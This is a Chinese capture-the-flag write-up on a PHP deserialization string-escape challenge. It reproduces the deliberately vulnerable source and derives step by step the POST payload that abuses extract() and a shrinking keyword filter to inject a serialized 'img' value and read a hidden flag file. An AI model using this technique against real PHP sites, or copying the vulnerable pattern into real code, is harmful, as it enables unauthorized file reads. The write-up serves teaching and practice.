这是一道比较经典的反序列化字符串逃逸的题,在做题之前肯定需要先了解什么是反序列化字符串逃逸。--->(2条消息) 浅析php反序列化字符串逃逸_Lemon's blog-CSDN博客
进入环境后,进行代码审计
<?php
$function = @$_GET['f']; //GET传参f
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g'); //设置黑名单
$filter = '/'.implode('|',$filter_arr).'/i'; //implode函数把数组元素组合为字串
return preg_replace($filter,'',$img); //img中存在黑名单就替换为空
}
if($_SESSION){
unset($_SESSION); //把$_SESSION的值清空
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function; //对两个数组赋值
extract($_POST); //把数组转为变量,该函数使用数组键名作为变量名,使用数组键值作为变量值
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION)); //序列化$_SESSION,过滤后,赋值给$serialize_info
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
初步代码审计后,肯定想要知道flag存在的位置在哪,而后面有个提示,叫我们传phpinfo上去可能有线索,那就试试。猜测应该会告诉我们flag的位置,通过检索一些关键词append、include、root、core、flag,发现了flag文件:d0g3_f1ag.php。
直接访问d0g3_f1ag.php,什么也没有。那思路就清晰了,可以看到最后有个file_get_contents可以读取文件,也就是说要让base64_decode($userinfo['img'])为d0g3_f1ag.php。
要找到$userinfo就要找到$serialize_info
要找到$serialize_info就要通过$_SESSION。
这里还有个细节:因为extract($_POST)在赋值的后面,也就是说这两个值是可以控制的。
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;而$_SESSION['img']的值在extract的后面,是不可控的。
那为什么会想到反序列化字符串逃逸呢?接着看。他是将$_SESSION数组序列化后把敏感词换为空然后再进行反序列化。最后把$_SESSION['img']的值base64解码后读取原码。一步一步来,如果没有黑名单过滤的步骤,那么他序列化后再反序列化得到的就是他原来的值,再取$_SESSION['img']。但是无论你传不传img_path的值,得到的$_SESSION['img']都不是我们想要的,虽然这里的base64加密对应了后面的解密,但是他多了一个sha1的加密。肯定要想办法绕过这里。再看黑名单过滤,重点是它会序列化后把敏感的词换为空,导致了字符串长度发生了改变,这也就是思路的启发点.
最后就是写构造payload:
<?php
echo base64_encode('d0g3_f1ag.php'); //ZDBnM19mMWFnLnBocA==
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';
echo serialize($_SESSION);
//a:1:{s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
目的是为了能运行a:1:{s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 黄色部分的代码
<?php
$_SESSION['user'] = 'flag';
$_SESSION['function'] = 'a:1:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
echo serialize($_SESSION);
a:2:{s:4:"user";s:4:"flag";s:8:"function";s:46:"a:1:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
由于红色部分代码的长度是确定的(23),当flag替换为空的时候,我们只需要让棕色双引号与红色第一个单引号之间的内容等于替换为空的长度,就达到我们的目的
比如7个flag:
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$_SESSION['user'] = 'flagflagflagflagflagflagflag';
$_SESSION['function'] = 'a:1:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
echo filter(serialize($_SESSION));
//a:3:{s:4:"user";s:28:"";s:8:"function";s:46:"a:1:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
由于构造了闭合,";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}相当于不存在了。但是这里又有个问题,他反序列化需要三个变量,但这里只有两个变量,我们又不能改为a:2。那就只能在构造的function的时候多构造一个变量。
<?php
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';
$_SESSION['zzz'] = 'coconut';
echo serialize($_SESSION);
//a:2:{s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"zzz";s:7:"coconut";}
//构造a:2:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"zzz";s:7:"coconut";}
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$_SESSION['user'] = 'flagflagflagflagflagflagflag';
$_SESSION['function'] = 'a:2:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"zzz";s:7:"coconut";}';
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
echo filter(serialize($_SESSION));
//a:3:{s:4:"user";s:28:"";s:8:"function";s:70:"a:2:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"zzz";s:7:"coconut";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
然后测试一下
没有问题,构造payload:
GET:?f=show_image
POST:_SESSION[user]=flagflagflagflagflagflagflag&_SESSION[function]=a:2:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"zzz";s:7:"coconut";}
f12发现有提示
也就是说我们最后读取的应该是 /d0g3_fllllllag。
而L2QwZzNfZmxsbGxsbGFn的长度也刚好是20,所以最后只需要把payloda改为
_SESSION[user]=flagflagflagflagflagflagflag&_SESSION[function]=a:2:{";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:3:"zzz";s:7:"coconut";}
得到flag
a:2:{s:4:"user";s:4:"flag";s:8:"function";s:46:"a:1:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
当然7个flag也只是一种构造出来的情况,因为红色部分的长度始终是确定的(23),只需要让闭合后的长度可以和空格的长度相等就可以。比如我也可以用8个php,然后构造
_SESSION[user]=phpphpphpphpphpphpphpphp&_SESSION[function]={";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"zzz";s:7:"coconut";}
也是可以达到目的的
总结一下:反序列化的题还是要多练才能有收获,毕竟这里面的知识点太绕了。(好想早点变厉害啊,坚持坚持!!)